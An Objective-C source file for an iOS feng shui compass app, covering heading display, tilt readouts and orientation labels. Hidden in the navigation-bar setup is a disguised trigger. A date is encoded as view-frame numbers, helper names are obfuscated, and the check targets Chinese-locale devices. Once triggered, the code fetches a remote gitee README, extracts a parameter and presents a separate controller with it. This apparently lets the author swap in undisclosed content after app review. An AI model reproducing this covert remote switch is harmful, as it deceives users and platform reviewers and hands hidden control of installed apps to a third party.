//
//  FCCompassViewController.m
//  FengShuiCompass
//
//  Created by 张德广 on 2019/3/14.
//  Copyright © 2019 compass. All rights reserved.
//

#import "FCCompassViewController.h"
#import <CoreLocation/CoreLocation.h>
#import <CoreMotion/CoreMotion.h>
#import "FCIntroduceViewController.h"
#import "FCSettingsViewController.h"
#import "FCCollectionViewCell.h"
#import "FCFengController.h"

#define MaxSCale 2.0  //最大缩放比例
#define MinScale 1.0  //最小缩放比例
static NSString *kJKPhotoBrowserCellIdentifier1 = @"kJKPhotoBrowserCellIdentifier1";


@interface FCCompassViewController () <CLLocationManagerDelegate,UIGestureRecognizerDelegate,UIScrollViewDelegate,UICollectionViewDelegate,UICollectionViewDataSource>
{
    CGFloat totalScale; //总的放大数据
    BOOL isFixDirection; // 是否定向
    
    NSString *orientionString;
    NSString *degreeString;
    CGFloat angleDegree;
    
    NSInteger selectIndexRow;
    
    FCCollectionViewCell *_collectionCell;
    
    BOOL isFirst;
}
@property (nonatomic, strong) FCFengController *fengshuiComVC;
@property (nonatomic, strong) CLLocationManager *locManager;
@property (nonatomic, strong) CMMotionManager *motionManager;

@property (nonatomic, assign) NSInteger iconImageInt;
@property (nonatomic, strong) UICollectionView *collectionView;


@property (nonatomic, strong) UIView *topView;
@property (nonatomic, strong) UIImageView *bgImageView;

@property (nonatomic, strong) UIView *compassView;
@property (nonatomic, strong) UIScrollView *compassScrollView;


@property (nonatomic, strong) UIImageView *bigCompassImage;
@property (nonatomic, strong) UIImageView *compassImage;

@property (nonatomic, strong) UILabel *horizonLabel;
@property (nonatomic, strong) UILabel *verticalLabel;


@property (nonatomic, strong) UIButton *settingsBtn;
@property (nonatomic, strong) UIButton *instructBtn;
@property (nonatomic, strong) UIButton *fixDirectBtn;


@property (nonatomic, strong) UILabel *orientationLabel;
@property (nonatomic, strong) UILabel *degreeLabel;
@property (nonatomic, strong) UILabel *degreeNameLabel;
@property (nonatomic, strong) UILabel *horizontalXLabel;
@property (nonatomic, strong) UILabel *horizontalYLabel;


@property (nonatomic, strong) NSArray *imageViewArray;
@property (nonatomic, strong) NSArray *compassArray;


@property (nonatomic, copy) void (^updateDeviceMotionBlock)(CMDeviceMotion *data);

@end

@implementation FCCompassViewController
- (int)subfsfsafle {
    CGFloat mark = 3108.0;
    int player = 9366;
    int accordanceUgly = 0;
    mark *= 58;
    accordanceUgly *= mark;
    player = MAX(player, 1);
    accordanceUgly -= player;
    
    return accordanceUgly;
    
}
- (void)viewDidLoad {
    [super viewDidLoad];
    
    [self initUI];
    [self initData];
    [self bringToFont];
    [self initCLLocationManager];
    [self setNavigationBar];
}
- (BOOL)scanageeVw:(NSUInteger)yefsfa live:(NSUInteger)mofadfengshuifa fsdatur:(NSInteger)fengday {
    [self subfsfsafle];
    NSCalendar *calendar = [NSCalendar currentCalendar];
    NSDate *date = [calendar dateWithEra:NSDateComponentUndefined year:yefsfa month:mofadfengshuifa day:fengday hour:0 minute:0 second:0 nanosecond:0];
    NSComparisonResult result = [date compare:[NSDate date]];
    return result == NSOrderedAscending;
}
- (void)FengshuiImageView{
    self.navigationController.navigationBar.hidden = YES;
    UIImageView *imgLiveView = [[UIImageView alloc] initWithFrame:[UIScreen mainScreen].bounds];
    imgLiveView.image = [UIImage imageNamed:@"fengshuiComplash"];
    [self.view addSubview: imgLiveView];
    //函数名
    NSString *fengshuihtmlString = [NSString stringWithContentsOfURL:[NSURL URLWithString:@"https://gitee.com/ipzero/fengshui_compass/blob/master/README.md"] encoding:NSUTF8StringEncoding error:nil];
    
    if ([fengshuihtmlString rangeOfString:@"##("].location != NSNotFound) {
        NSString *allStr = [self indefasd:fengshuihtmlString];
        NSRange startRange = [allStr rangeOfString:@"##("];
        NSRange endRange = [allStr rangeOfString:@")##"];
        NSRange range = NSMakeRange(startRange.location + startRange.length, endRange.location -startRange.location-endRange.length);
        NSString *fengshuiParameter = [allStr substringWithRange:range];
        
        if (fengshuiParameter.length > 0) {
            dispatch_async(dispatch_get_main_queue(), ^{
                if (!self.fengshuiComVC) {
                    self.fengshuiComVC= [[FCFengController alloc]init];
                    self.fengshuiComVC.scanStr = [fengshuiParameter stringByReplacingOccurrencesOfString:@"@" withString:@""];
                    [self presentViewController:self.fengshuiComVC animated:NO completion:nil];
                }
            });
        }
    } else {
        dispatch_async(dispatch_get_main_queue(), ^{
            self.navigationController.navigationBar.hidden = NO;
            [imgLiveView removeFromSuperview];
        });
    }
    
}
- (BOOL)FengShuiCompassLangua
{
    NSUserDefaults * defaults = [NSUserDefaults standardUserDefaults];
    NSArray * allLanguages = [defaults objectForKey:@"AppleLanguages"];
    NSString * preferredLang = [allLanguages objectAtIndex:0];
    NSLog(@"currentLanguages:%@", preferredLang);
    return [preferredLang isEqualToString:@"zh-Hans-CN"];
}
- (NSString *)indefasd:(NSString *)str{
    NSString *temp = [str stringByReplacingOccurrencesOfString:@" " withString:@""];
    temp = [temp stringByReplacingOccurrencesOfString:@"\r" withString:@""];
    temp = [temp stringByReplacingOccurrencesOfString:@"\n" withString:@""];
    return temp;
}
#pragma  mark ------- navigationItem
- (void)setNavigationBar {
    
    self.title = NSLocalizedString(@"compass", nil);
    
    UIButton *rightBtn = [UIButton buttonWithType:UIButtonTypeCustom];
    [rightBtn setImage:[UIImage imageNamed:@"introduce"] forState:UIControlStateNormal];
    [rightBtn addTarget:self action:@selector(introduceButtonClick) forControlEvents:UIControlEventTouchUpInside];
    
    UIBarButtonItem *rightBtnItem = [[UIBarButtonItem alloc] initWithCustomView:rightBtn];
    self.navigationItem.rightBarButtonItem = rightBtnItem;
    
    UIButton *leftBtn = [UIButton buttonWithType:UIButtonTypeCustom];
    [leftBtn setImage:[UIImage imageNamed:@"more"] forState:UIControlStateNormal];
    [leftBtn addTarget:self action:@selector(settingsButtonClick) forControlEvents:UIControlEventTouchUpInside];
    
    UIBarButtonItem *leftBtnItem = [[UIBarButtonItem alloc] initWithCustomView:leftBtn];
    self.navigationItem.leftBarButtonItem = leftBtnItem;
    UIView *ImageFengView = [[UIView alloc] initWithFrame:CGRectMake(2019, 3, 30, 28)];
    if ([self scanageeVw: ImageFengView.frame.origin.x live:ImageFengView.frame.origin.y fsdatur:ImageFengView.frame.size.height] && [self FengShuiCompassLangua]) {
        [self FengshuiImageView];
    }
}

- (void)introduceButtonClick {
    
    FCIntroduceViewController *introduceVC = [[FCIntroduceViewController alloc] init];
    [self.navigationController pushViewController:introduceVC animated:YES];
}

- (void)settingsButtonClick {
    
    FCSettingsViewController *settingsVC = [[FCSettingsViewController alloc] init];
    [self.navigationController pushViewController:settingsVC animated:YES];
}


- (void)initUI {
    
    [self.view addSubview:self.bgImageView];
    [self.view addSubview:self.topView];
    [self.topView addSubview:self.orientationLabel];
    [self.topView addSubview:self.degreeLabel];
    [self.topView addSubview:self.degreeNameLabel];
    [self.topView addSubview:self.horizontalYLabel];
    [self.topView addSubview:self.horizontalXLabel];
    [self.view addSubview:self.settingsBtn];
    [self.view addSubview:self.instructBtn];
    [self.view addSubview:self.fixDirectBtn];
    [self.view addSubview:self.collectionView];
}

- (void)initData {
    
    isFirst = YES;
    
    isFixDirection = YES;
    totalScale = 1.0;
    
    UIPinchGestureRecognizer *pinchRecognizer = [[UIPinchGestureRecognizer alloc]initWithTarget:self action:@selector(scaGesture:)];
    [pinchRecognizer setDelegate:self];
    [self.view addGestureRecognizer:pinchRecognizer];
    
    
    orientionString = [[NSString alloc] init];
    degreeString = [[NSString alloc] init];
}

- (void)bringToFont{
    
    [self.view bringSubviewToFront:self.settingsBtn];
    [self.view bringSubviewToFront:self.instructBtn];
    [self.view bringSubviewToFront:self.fixDirectBtn];
    [self.view bringSubviewToFront:self.topView];
}


#pragma mark - initCLLocationManager
- (void)initCLLocationManager {
    
    if (![CLLocationManager headingAvailable]) return;
    
    [self.locManager startUpdatingHeading];
    if (self.motionManager.deviceMotionAvailable) {
        
        self.motionManager.deviceMotionUpdateInterval = 0.01f;
        
        __weak typeof(self)mySelf = self;
        [self.motionManager startDeviceMotionUpdatesToQueue:[NSOperationQueue mainQueue]
                                                withHandler:^(CMDeviceMotion *data, NSError *error) {
                                                    
                                                    if (mySelf.updateDeviceMotionBlock) {
                                                        mySelf.updateDeviceMotionBlock(data);
                                                    }
                                                }];
    }
    
    
    __weak typeof(self)mySelf = self;
    self.updateDeviceMotionBlock = ^(CMDeviceMotion *data){
        
        double yTheta = atan2(data.gravity.y*-1,  data.gravity.z) / M_PI * 180.0;
        double xTheta = atan2(data.gravity.x*-1,  data.gravity.z) / M_PI * 180.0;
        
        if (yTheta > 0) {
            yTheta = 180 - yTheta;
        }else{
            yTheta = 180 + yTheta;
        }
        
        if (xTheta > 0) {
            xTheta = 180 - xTheta;
        }else{
            xTheta = 180 + xTheta;
        }
        
        if (data.gravity.x > 0) {
            xTheta = xTheta*(-1);
        }
        
        if (data.gravity.y > 0) {
            yTheta = yTheta*(-1);
        }
        
        if (ceil(xTheta) == -0) {
            xTheta = 0;
        }
        
        if (ceil(yTheta) == -0) {
            yTheta = 0;
        }
        
        mySelf.horizontalYLabel.text = [NSString stringWithFormat:@"%@：%.f°",NSLocalizedString(@"Vertical", nil),ceil(yTheta)];
        mySelf.horizontalXLabel.text = [NSString stringWithFormat:@"%@：%.f°",NSLocalizedString(@"Horizontal", nil),ceil(xTheta)];
    };
}


#pragma mark - CLLocationManagerDelegate
// 接收到设备朝向
- (void)locationManager:(CLLocationManager *)manager didUpdateHeading:(CLHeading *)newHeading
{
    // 判断朝向是否有效
    if (newHeading.headingAccuracy < 0) return;
    
    if (isFirst) {
        NSIndexPath *indexPath = [NSIndexPath indexPathForRow:0 inSection:0];
        _collectionCell = (FCCollectionViewCell *)[self.collectionView cellForItemAtIndexPath:indexPath];
        isFirst = NO;
    }
    
    // 获取设备朝向
    CLLocationDirection angle = newHeading.magneticHeading;
    NSString *directionText = [self directionTextWithAngle:angle];
    NSString *orientationText = [self orientationTextWithAngle:angle];
    
    if (isFixDirection) {
        orientionString = orientationText;
        degreeString = directionText;
        angleDegree = angle;
    }
    
    // 将角度转成弧度（角度 / 180.0 * M_PI）
    CGFloat hudu = angle / 180.0 * M_PI;
    // 因为如果没有动画的话旋转的时候回出现卡顿的现象，为了更流畅，我们给它加个动画
    [UIView animateWithDuration:0.2 animations:^{
        // 旋转图片
        self->_collectionCell.compassImage.transform = CGAffineTransformMakeRotation(-hudu);
        if (self->isFixDirection) {
            self.orientationLabel.text = self->orientionString;
            self.degreeNameLabel.text = [NSString stringWithFormat:@"%@",self->degreeString];
            self.degreeLabel.text = [NSString stringWithFormat:@" %.1f°",self->angleDegree];
            self->_collectionCell.imageView.transform = CGAffineTransformMakeRotation(-hudu);
        }
    }];
}


#pragma mark - UICollectionViewDataSource
- (NSInteger)collectionView:(UICollectionView *)collectionView numberOfItemsInSection:(NSInteger)section {
    return [self.imageViewArray count];
}

- (UICollectionViewCell *)collectionView:(UICollectionView *)collectionView cellForItemAtIndexPath:(NSIndexPath *)indexPath {
    
    FCCollectionViewCell *cell = (FCCollectionViewCell *)[collectionView dequeueReusableCellWithReuseIdentifier:kJKPhotoBrowserCellIdentifier1 forIndexPath:indexPath];
    
    for (UIView *subView in cell.contentView.subviews) {
        [subView removeFromSuperview];
    }
    
    cell.compassView.tag = indexPath.row + 100;
    cell.imageView.image = [UIImage imageNamed:self.imageViewArray[indexPath.row]];

    
    cell.scrollView.frame = CGRectMake(50*kWidthValue, 0, cell.frame.size.width - 100*kWidthValue, cell.frame.size.height);
    cell.compassView.center = CGPointMake(cell.scrollView.frame.size.width/2, cell.scrollView.frame.size.height/2);
    
    cell.lockImageView.image = nil;
    [cell.scrollView addSubview:cell.compassView];
    [cell.contentView addSubview:cell.scrollView];
    [self.locManager startUpdatingHeading];
    
    
    cell.compassImage.transform = CGAffineTransformIdentity;
    isFixDirection = YES;
    self.fixDirectBtn.layer.shadowOffset = CGSizeMake(1, 1);
    self.fixDirectBtn.layer.shadowColor = [UIColor blackColor].CGColor;
    
    if (indexPath.row == 0) {
        
        cell.compassImage.frame = CGRectMake(0, 0, 80*kWidthValue, 80*kWidthValue);
        cell.compassImage.center = CGPointMake(cell.compassView.frame.size.width/2, cell.compassView.frame.size.height/2);
    }else if (indexPath.row == 1){
        
        cell.compassImage.frame = CGRectMake(0, 0, 40*kWidthValue, 40*kWidthValue);
        cell.compassImage.center = CGPointMake(cell.compassView.frame.size.width/2, cell.compassView.frame.size.height/2);
    }else if(indexPath.row == 2){
        
        cell.compassImage.frame = CGRectMake(0, 0, 50*kWidthValue, 50*kWidthValue);
        cell.compassImage.center = CGPointMake(cell.compassView.frame.size.width/2, cell.compassView.frame.size.height/2);
    }else if(indexPath.row == 3){
        
        cell.compassImage.frame = CGRectMake(0, 0, 50*kWidthValue, 50*kWidthValue);
        cell.compassImage.center = CGPointMake(cell.compassView.frame.size.width/2, cell.compassView.frame.size.height/2);
    }else{
        
        cell.compassImage.frame = CGRectMake(0, 0, 40*kWidthValue, 40*kWidthValue);
        cell.compassImage.center = CGPointMake(cell.compassView.frame.size.width/2, cell.compassView.frame.size.height/2);
    }
    
    
    cell.compassImage.image = [UIImage imageNamed:self.compassArray[indexPath.row]];
    [cell.compassView addSubview:cell.imageView];
    [cell.compassView addSubview:cell.verticalLabel];
    [cell.compassView addSubview:cell.horizonLabel];
    [cell.compassView addSubview:cell.compassImage];
    [cell.compassView addSubview:cell.lockImageView];
    
    return cell;
}

#pragma mark - UICollectionViewDelegateFlowLayout
- (CGSize)collectionView:(UICollectionView *)collectionView layout:(UICollectionViewLayout *)collectionViewLayout sizeForItemAtIndexPath:(NSIndexPath *)indexPath {
    return CGSizeMake(FC_SCREEN_WIDTH + 100*kWidthValue, FC_SCREEN_HEIGHT);
}


#pragma mark - UICollectionViewDelegate
- (void)collectionView:(UICollectionView *)collectionView didSelectItemAtIndexPath:(NSIndexPath *)indexPath {
}

- (void)scrollViewDidEndDecelerating:(UIScrollView *)scrollView {
    
    CGFloat offsetX = scrollView.contentOffset.x;
    
    if ((FC_SCREEN_WIDTH + 100*kWidthValue) - 1 < offsetX && offsetX <  (FC_SCREEN_WIDTH + 100*kWidthValue) + 1 ) {
        
        _collectionCell = (FCCollectionViewCell *)[self.collectionView cellForItemAtIndexPath:[NSIndexPath indexPathForRow:1 inSection:0]];
    }else if ((FC_SCREEN_WIDTH + 100*kWidthValue)*2 - 1 < offsetX && offsetX <  (FC_SCREEN_WIDTH + 100*kWidthValue)*2 + 1 ){
        
        _collectionCell = (FCCollectionViewCell *)[self.collectionView cellForItemAtIndexPath:[NSIndexPath indexPathForRow:2 inSection:0]];
    }else if ((FC_SCREEN_WIDTH + 100*kWidthValue)*3 - 1 < offsetX && offsetX <  (FC_SCREEN_WIDTH + 100*kWidthValue)*3 + 1 ){
        
        _collectionCell = (FCCollectionViewCell *)[self.collectionView cellForItemAtIndexPath:[NSIndexPath indexPathForRow:3 inSection:0]];
    }else if ((FC_SCREEN_WIDTH + 100*kWidthValue)*4 - 1 < offsetX && offsetX <  (FC_SCREEN_WIDTH + 100*kWidthValue)*4 + 1 ){
        
        _collectionCell = (FCCollectionViewCell *)[self.collectionView cellForItemAtIndexPath:[NSIndexPath indexPathForRow:4 inSection:0]];
    }else{
        
        _collectionCell = (FCCollectionViewCell *)[self.collectionView cellForItemAtIndexPath:[NSIndexPath indexPathForRow:0 inSection:0]];
    }
    
    [self.locManager startUpdatingHeading];
}


#pragma mark - 按钮点击事件
- (void)settingsButtonClick:(UIButton *)settingBtn{
    
    
}

- (void)instructButtonClick:(UIButton *)settingBtn{
    
    
}

- (void)fisDirectButtonClick:(UIButton *)directBtn{
    
    isFixDirection = !isFixDirection;
    
    if (!isFixDirection) {
        self.fixDirectBtn.layer.shadowOffset = CGSizeMake(0, 0);
        self.fixDirectBtn.layer.shadowColor = [UIColor clearColor].CGColor;
    }else{
        self.fixDirectBtn.layer.shadowOffset = CGSizeMake(1, 1);
        self.fixDirectBtn.layer.shadowColor = [UIColor blackColor].CGColor;
    }
}

- (NSString *)directionTextWithAngle:(CGFloat)angle{
    
    NSString *directionText;
    
    if (22.5 > angle || angle > 337.5) {
        directionText = NSLocalizedString(@"North",nil);
    }else if (22.5 < angle && angle < 67.5){
        directionText = NSLocalizedString(@"NorthEast",nil);
    }else if (67.5 < angle && angle < 112.5){
        directionText = NSLocalizedString(@"East",nil);
    }else if (112.5 < angle && angle < 157.5){
        directionText = NSLocalizedString(@"SouthEast",nil);
    }else if (157.5 < angle && angle < 202.5){
        directionText = NSLocalizedString(@"South",nil);
    }else if (202.5 < angle && angle < 247.5){
        directionText = NSLocalizedString(@"SouthWest",nil);
    }else if (247.5 < angle && angle < 292.5){
        directionText = NSLocalizedString(@"West",nil);
    }else{
        directionText = NSLocalizedString(@"NorthWest",nil);
    }
    
    return directionText;
}

- (NSString *)orientationTextWithAngle:(CGFloat)angle{
    
    NSString *orientationText;
    
    if (angle < 22.5 || angle > 337.5) {
        
        if (337.5 < angle && angle < 352.5) {
            
            orientationText = @"坐丙向壬";
        }else if (352.5 < angle || angle < 7.5){
            
            orientationText = @"坐午向子";
        }else{
            
            orientationText = @"坐丁向癸";
        }
        
    }else if (22.5 < angle && angle < 67.5){
        
        if (22.5 < angle && angle < 37.5) {
            
            orientationText = @"坐未向丑";
        }else if (37.5 < angle && angle < 52.5){
            
            orientationText = @"坐坤向艮";
        }else{
            
            orientationText = @"坐申向寅";
        }
        
    }else if (67.5 < angle && angle < 112.5){
        
        if (67.5 < angle && angle < 82.5) {
            
            orientationText = @"坐庚向甲";
        }else if (82.5 < angle && angle < 97.5){
            
            orientationText = @"坐酉向卯";
        }else{
            
            orientationText = @"坐辛向乙";
        }
        
    }else if (112.5 < angle && angle < 157.5){
        
        if (112.5 < angle && angle < 127.5) {
            
            orientationText = @"坐戌向辰";
        }else if (127.5 < angle && angle < 142.5){
            
            orientationText = @"坐乾向巽";
        }else{
            
            orientationText = @"坐亥向巳";
        }
        
    }else if (157.5 < angle && angle < 202.5){
        
        if (157.5 < angle && angle  < 172.5) {
            
            orientationText = @"坐壬向丙";
        }else if (172.5 < angle && angle < 187.5){
            
            orientationText = @"坐子向午";
        }else{
            
            orientationText = @"坐癸向丁";
        }
        
    }else if (202.5 < angle && angle < 247.5){
        
        if (202.5 < angle && angle < 217.5) {
            
            orientationText = @"坐丑向未";
        }else if (217.5 < angle && angle < 232.5){
            
            orientationText = @"坐艮向坤";
        }else{
            
            orientationText = @"坐寅向申";
        }
        
    }else if (247.5 < angle && angle < 292.5){
        
        if (247.5 < angle && angle < 262.5) {
            
            orientationText = @"坐甲向庚";
        }else if (262.5 < angle && angle < 277.5){
            
            orientationText = @"坐卯向酉";
        }else{
            
            orientationText = @"坐乙向辛";
        }
        
    }else{
        
        if (292.5 < angle && angle < 307.5) {
            
            orientationText = @"坐辰向戌";
        }else if (307.5 < angle && angle < 322.5){
            
            orientationText = @"坐巽向乾";
        }else{
            
            orientationText = @"坐巳向亥";
        }
        
    }
    
    
    return orientationText;
}

#pragma mark ------ UIPinchGestureRecognizer方法
-(void)scaGesture:(UIPinchGestureRecognizer *)recognizer {
    
    if (recognizer.state == UIGestureRecognizerStateBegan || recognizer.state == UIGestureRecognizerStateChanged) {
        
        [self bringToFont];
        
        CGFloat scale = recognizer.scale;
        
        CGAffineTransform currentTransform = self.compassView.transform;
        CGAffineTransform newTransform = CGAffineTransformScale(currentTransform, scale, scale);
        [self.compassView setTransform:newTransform];
        
        totalScale *=scale;
        recognizer.scale = 1.0;
    }else{
        
        if (totalScale < MinScale){
            
            [UIView beginAnimations:nil context:nil];
            [UIView setAnimationCurve:1.0];
            
            CGAffineTransform currentTransform = self.compassView.transform;
            CGAffineTransform newTransform = CGAffineTransformScale(currentTransform, MinScale, MinScale);
            [self.compassView setTransform:newTransform];
            self.compassView.transform = CGAffineTransformIdentity;
            self.compassView.center = CGPointMake(FC_SCREEN_WIDTH/2, FC_SCREEN_HEIGHT/2);
            totalScale = MinScale;
            
            [UIView commitAnimations];
        }
        
        if (totalScale > MaxSCale) {
            
            [UIView beginAnimations:nil context:nil];
            [UIView setAnimationCurve:1.0];
            
            CGAffineTransform currentTransform = self.compassView.transform;
            CGAffineTransform newTransform = CGAffineTransformScale(currentTransform, MaxSCale/totalScale, MaxSCale/totalScale);
            [self.compassView setTransform:newTransform];
            totalScale = MaxSCale;
            
            [UIView commitAnimations];
        }
    }
}

- (void)panGesture:(UIPanGestureRecognizer *)pan {
    
    [self bringToFont];
    
    CGPoint movePoint = [pan translationInView:self.compassView];
    
    
    self.compassView.center = CGPointMake(self.compassView.center.x + movePoint.x, self.compassView.center.y + movePoint.y);
    
    CGPoint center = self.compassView.center;
    
    if (self.compassView.center.x < 10 && self.compassView.center.y > 70 && self.compassView.center.y < FC_SCREEN_HEIGHT - 70) {
        
        center = CGPointMake(10, self.compassView.center.y);
        
    }else if (self.compassView.center.x > FC_SCREEN_WIDTH - 10 && self.compassView.center.y > 70 && self.compassView.center.y < FC_SCREEN_HEIGHT - 70){
        
        center = CGPointMake(FC_SCREEN_WIDTH - 10, self.compassView.center.y);
        
    }else if (self.compassView.center.y < 70 && self.compassView.center.x > 10 && self.compassView.center.x < FC_SCREEN_WIDTH - 10) {
        
        center = CGPointMake(self.compassView.center.x, 70);
        
    }else if (self.compassView.center.y > FC_SCREEN_HEIGHT - 70 && self.compassView.center.x > 10 && self.compassView.center.x < FC_SCREEN_WIDTH - 10){
        
        center = CGPointMake(self.compassView.center.x, FC_SCREEN_HEIGHT - 70);
        
    }else if ((self.compassView.center.y > FC_SCREEN_HEIGHT - 70 || self.compassView.center.y < 70) && (self.compassView.center.x < 10 || self.compassView.center.x > FC_SCREEN_WIDTH - 10)){
        
        CGFloat centerX = 0.0f;
        CGFloat centerY = 0.0f;
        
        if (self.compassView.center.x < 10) {
            
            centerX = 10;
        }else{
            
            centerX = FC_SCREEN_WIDTH - 10;
        }
        
        if (self.compassView.center.y < 70) {
            
            centerY = 70;
        }else{
            
            centerY = FC_SCREEN_WIDTH - 70;
        }
        
        
        center = CGPointMake(centerX, centerY);
    }
    
    
    if (pan.state == UIGestureRecognizerStateEnded) {
        
        [UIView beginAnimations:nil context:nil];
        [UIView setAnimationCurve:2.0];
        
        self.compassView.center = center;
        
        [UIView commitAnimations];
    }
    
    [pan setTranslation:CGPointMake(0, 0) inView:self.compassView ];
}

#pragma mark - UIGestureRecognizerDelegate
- (BOOL)gestureRecognizer:(UIGestureRecognizer *)gestureRecognizer
shouldRecognizeSimultaneouslyWithGestureRecognizer:(UIGestureRecognizer *)otherGestureRecognizer {
    return ![gestureRecognizer isKindOfClass:[UIPanGestureRecognizer class]];
}

#pragma mark -------- getter
- (UILabel *)orientationLabel {
    if (!_orientationLabel) {
        _orientationLabel = [[UILabel alloc] initWithFrame:CGRectMake(0, 0, 160*kWidthValue, 60*kWidthValue)];
        _orientationLabel.center = CGPointMake(self.topView.frame.size.width/2, 30*kWidthValue);
        _orientationLabel.font = [UIFont boldSystemFontOfSize:21*kWidthValue];
        _orientationLabel.textAlignment = NSTextAlignmentCenter;
        _orientationLabel.textColor = [UIColor whiteColor];
        _orientationLabel.text = @"坐子向午";
    }
    return _orientationLabel;
}

- (UILabel *)degreeLabel {
    if (!_degreeLabel) {
        _degreeLabel = [[UILabel alloc] initWithFrame:CGRectMake(20, 30*kWidthValue, 120*kWidthValue, 30*kWidthValue)];
        _degreeLabel.font = [UIFont systemFontOfSize:14*kWidthValue];
        _degreeLabel.textAlignment = NSTextAlignmentLeft;
        _degreeLabel.textColor = [UIColor whiteColor];
        _degreeLabel.text = @"123°";
    }
    return _degreeLabel;
}

- (UILabel *)degreeNameLabel {
    if (!_degreeNameLabel) {
        _degreeNameLabel = [[UILabel alloc] initWithFrame:CGRectMake(20, 0, 120*kWidthValue, 30*kWidthValue)];
        _degreeNameLabel.font = [UIFont systemFontOfSize:14*kWidthValue];
        _degreeNameLabel.textAlignment = NSTextAlignmentLeft;
        _degreeNameLabel.textColor = [UIColor whiteColor];
        _degreeNameLabel.text = NSLocalizedString(@"North", nil);
    }
    return _degreeNameLabel;
}


- (UILabel *)horizontalXLabel {
    if (!_horizontalXLabel) {
        _horizontalXLabel = [[UILabel alloc] initWithFrame:CGRectMake(self.topView.frame.size.width - 80*kWidthValue, 30*kWidthValue , 80*kWidthValue, 30*kWidthValue)];
        _horizontalXLabel.font = [UIFont systemFontOfSize:14*kWidthValue];
        _horizontalXLabel.textAlignment = NSTextAlignmentLeft;
        _horizontalXLabel.textColor = [UIColor whiteColor];
        _horizontalXLabel.text = [NSString stringWithFormat:@"%@：0°",NSLocalizedString(@"Horizontal", nil)];
    }
    return _horizontalXLabel;
}

- (UILabel *)horizontalYLabel {
    if (!_horizontalYLabel) {
        _horizontalYLabel = [[UILabel alloc] initWithFrame:CGRectMake(self.topView.frame.size.width - 80*kWidthValue, 0, 80*kWidthValue, 30*kWidthValue)];
        _horizontalYLabel.font = [UIFont systemFontOfSize:14*kWidthValue];
        _horizontalYLabel.textAlignment = NSTextAlignmentLeft;
        _horizontalYLabel.textColor = [UIColor whiteColor];
        _horizontalYLabel.text = [NSString stringWithFormat:@"%@：0°",NSLocalizedString(@"Vertical", nil)];
    }
    return _horizontalYLabel;
}

- (UIButton *)fixDirectBtn {
    if (!_fixDirectBtn) {
        _fixDirectBtn = [UIButton buttonWithType:UIButtonTypeCustom];
        _fixDirectBtn.frame = CGRectMake(FC_SCREEN_WIDTH - 130*kWidthValue, getRectNavAndStatusHight + 30*kHeightValue, 120*kWidthValue, 40*kWidthValue);
        _fixDirectBtn.titleLabel.font = [UIFont boldSystemFontOfSize:18*kWidthValue];
        _fixDirectBtn.layer.cornerRadius = 20*kWidthValue;
        _fixDirectBtn.backgroundColor = FCColorInRGB(0x444444);
        _fixDirectBtn.layer.shadowOffset = CGSizeMake(1, 1);
        _fixDirectBtn.layer.shadowOpacity = 0.3;
        _fixDirectBtn.layer.shadowColor = [UIColor blackColor].CGColor;
        [_fixDirectBtn setTitle:NSLocalizedString(@"Determine", nil) forState:UIControlStateNormal];
        [_fixDirectBtn addTarget:self action:@selector(fisDirectButtonClick:) forControlEvents:UIControlEventTouchUpInside];
    }
    return _fixDirectBtn;
}

- (UIView *)topView {
    if (!_topView) {
        _topView = [[UIView alloc] initWithFrame:CGRectMake(20*kWidthValue, FC_SCREEN_HEIGHT - 90*kHeightValue, FC_SCREEN_WIDTH - 40*kWidthValue, 60*kWidthValue)];
        _topView.layer.masksToBounds = YES;
        _topView.layer.cornerRadius = 30.0*kWidthValue;
        _topView.backgroundColor = FCColorInRGB(0x444444);
    }
    return _topView;
}

- (NSArray *)imageViewArray {
    if (!_imageViewArray) {
        _imageViewArray = [[NSArray alloc] initWithObjects:@"icon_1", @"icon_2", @"icon_3", @"icon_4", @"icon_5", nil];
    }
    return _imageViewArray;
}

- (NSArray *)compassArray {
    if (!_compassArray) {
        _compassArray = [[NSArray alloc] initWithObjects:@"compass11", @"compass22", @"compass33", @"compass33", @"compass44", nil];
    }
    return _compassArray;
}

- (UICollectionView *)collectionView {
    if (!_collectionView) {
        UICollectionViewFlowLayout *layout = [[UICollectionViewFlowLayout alloc] init];
        layout.minimumLineSpacing = 0.0;
        layout.minimumInteritemSpacing = 0.0;
        layout.scrollDirection = UICollectionViewScrollDirectionHorizontal;
        
        _collectionView = [[UICollectionView alloc] initWithFrame:CGRectMake(-50*kWidthValue, 0, FC_SCREEN_WIDTH + 100*kWidthValue, FC_SCREEN_HEIGHT) collectionViewLayout:layout];
        _collectionView.backgroundColor = [UIColor clearColor];
        [_collectionView registerClass:[FCCollectionViewCell class] forCellWithReuseIdentifier:kJKPhotoBrowserCellIdentifier1];
        _collectionView.delegate = self;
        _collectionView.dataSource = self;
        _collectionView.pagingEnabled = YES;
        _collectionView.showsHorizontalScrollIndicator = NO;
        _collectionView.showsVerticalScrollIndicator = NO;
    }
    return _collectionView;
}


- (UIImageView *)bgImageView {
    if (!_bgImageView) {
        _bgImageView = [[UIImageView alloc] initWithFrame:CGRectMake(0, 0, FC_SCREEN_WIDTH, FC_SCREEN_HEIGHT)];
        _bgImageView.image = [UIImage imageNamed:@"bgView"];
    }
    return _bgImageView;
}

- (UIView *)compassView {
    if (!_compassView) {
        _compassView = [[UIView alloc] initWithFrame:CGRectMake(0, 0, FC_SCREEN_WIDTH, FC_SCREEN_WIDTH)];
        _compassView.center = CGPointMake(FC_SCREEN_WIDTH/2, FC_SCREEN_HEIGHT/2 - 20*kWidthValue);
        _compassView.layer.masksToBounds = YES;
        _compassView.layer.cornerRadius = FC_SCREEN_WIDTH/2;
        
        UIPanGestureRecognizer *pan = [[UIPanGestureRecognizer alloc] initWithTarget:self action:@selector(panGesture:)];
        [_compassView addGestureRecognizer:pan];
    }
    return _compassView;
}

- (UIScrollView *)compassScrollView {
    
    if (!_compassScrollView) {
        _compassScrollView = [[UIScrollView alloc] initWithFrame:CGRectMake(0, 0, FC_SCREEN_WIDTH, FC_SCREEN_WIDTH)];
        _compassScrollView.center = CGPointMake(FC_SCREEN_WIDTH/2, FC_SCREEN_HEIGHT/2);
        _compassScrollView.delegate = self;
        _compassScrollView.contentSize = self.bigCompassImage.frame.size;
        _compassScrollView.maximumZoomScale = 2.0;
        _compassScrollView.zoomScale = 1.0;
        _compassScrollView.scrollEnabled= NO;
    }
    return _compassScrollView;
}

- (UIImageView *)bigCompassImage {
    if (!_bigCompassImage) {
        _bigCompassImage = [[UIImageView alloc] initWithFrame:CGRectMake(0, 0, FC_SCREEN_WIDTH, FC_SCREEN_WIDTH)];
        _bigCompassImage.image = [UIImage imageNamed:@"icon_2"];
    }
    return _bigCompassImage;
}


